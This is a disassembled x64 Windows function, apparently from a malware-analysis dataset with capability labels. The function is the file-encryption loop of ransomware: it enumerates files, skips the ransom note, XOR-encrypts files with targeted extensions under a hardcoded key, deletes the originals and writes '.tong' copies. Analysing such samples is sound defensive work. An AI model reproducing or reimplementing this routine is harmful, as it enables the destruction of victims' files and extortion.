Function at 0x1400018cf
Capabilities:
Delete file
Enumerate files on windows
Read file on windows
Write file on windows

Disassembly:
push rbp
mov eax, 0x21b0
call fcn.1400037d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2140], rcx
lea rax, [rbp + 0x18f0]
mov r9, qword [rbp + 0x2140]
lea r8, str._s
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0x17b0]
lea rax, [rbp + 0x18f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x2128], rax
cmp qword [rbp + 0x2128], 0xffffffffffffffff
je 0x140001c67
mov eax, dword [rbp + 0x17b0]
and eax, 0x10
test eax, eax
jne 0x140001c2c
lea rax, [rbp + 0x17b0]
add rax, 0x2c
mov edx, 0x2e
mov rcx, rax
call sym.strrchr
mov qword [rbp + 0x2120], rax
cmp qword [rbp + 0x2120], 0
je 0x140001c30
lea rax, [rbp + 0x17b0]
add rax, 0x2c
cmp qword [rbp + 0x2120], rax
je 0x140001c30
lea rax, [rbp + 0x17b0]
add rax, 0x2c
lea rdx, str.How_to_restore_your_files.txt
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001c30
mov rax, qword [rbp + 0x2120]
add rax, 1
mov rcx, rax
call sym.is_target_extension
test al, al
je 0x140001c30
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x17b0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, qword [rbp + 0x2140]
lea r8, str._s_s
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
lea rdx, [0x14000a029]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x2118], rax
cmp qword [rbp + 0x2118], 0
je 0x140001c2f
mov rax, qword [rbp + 0x2118]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x2118]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x2114], eax
mov rax, qword [rbp + 0x2118]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp + 0x2114]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x2108], rax
cmp qword [rbp + 0x2108], 0
jne 0x140001aa5
mov rax, qword [rbp + 0x2118]
mov rcx, rax
call sym.fclose
jmp 0x140001c30
mov eax, dword [rbp + 0x2114]
movsxd rdx, eax
mov rcx, qword [rbp + 0x2118]
mov rax, qword [rbp + 0x2108]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp + 0x2118]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.remove
test eax, eax
je 0x140001b02
mov rax, qword [rbp + 0x2108]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140001c30
mov eax, dword [rbp + 0x2114]
movsxd rdx, eax
mov rax, qword [rbp + 0x2108]
mov r9d, 0x20
lea r8, str.Nrz1uY0bdfhxt4E7p9Ture7y743yvgyb
mov rcx, rax
call sym.xor_encryptor
lea rax, [rbp + 0x17b0]
add rax, 0x2c
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x17b0]
add rax, 0x2c
mov rcx, rax
call sym.tong_algo
mov qword [rbp + 0x2100], rax
mov rdx, qword [rbp + 0x2100]
lea rax, [rbp + 0x7b0]
mov r9, rdx
lea r8, str._s.tong
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0x7b0]
mov qword [rsp + 0x20], rdx
mov r9, qword [rbp + 0x2140]
lea r8, str._s_s
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0xfb0]
lea rdx, [0x14000a059]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x20f8], rax
cmp qword [rbp + 0x20f8], 0
jne 0x140001be2
mov rax, qword [rbp + 0x2108]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140001c30
mov eax, dword [rbp + 0x2114]
movsxd rdx, eax
mov rcx, qword [rbp + 0x20f8]
mov rax, qword [rbp + 0x2108]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x20f8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x2108]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140001c30
nop
jmp 0x140001c30
nop
lea rdx, [rbp + 0x17b0]
mov rax, qword [rbp + 0x2128]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x14000193d
mov rax, qword [rbp + 0x2128]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140001c68
nop
add rsp, 0x21b0
pop rbp
ret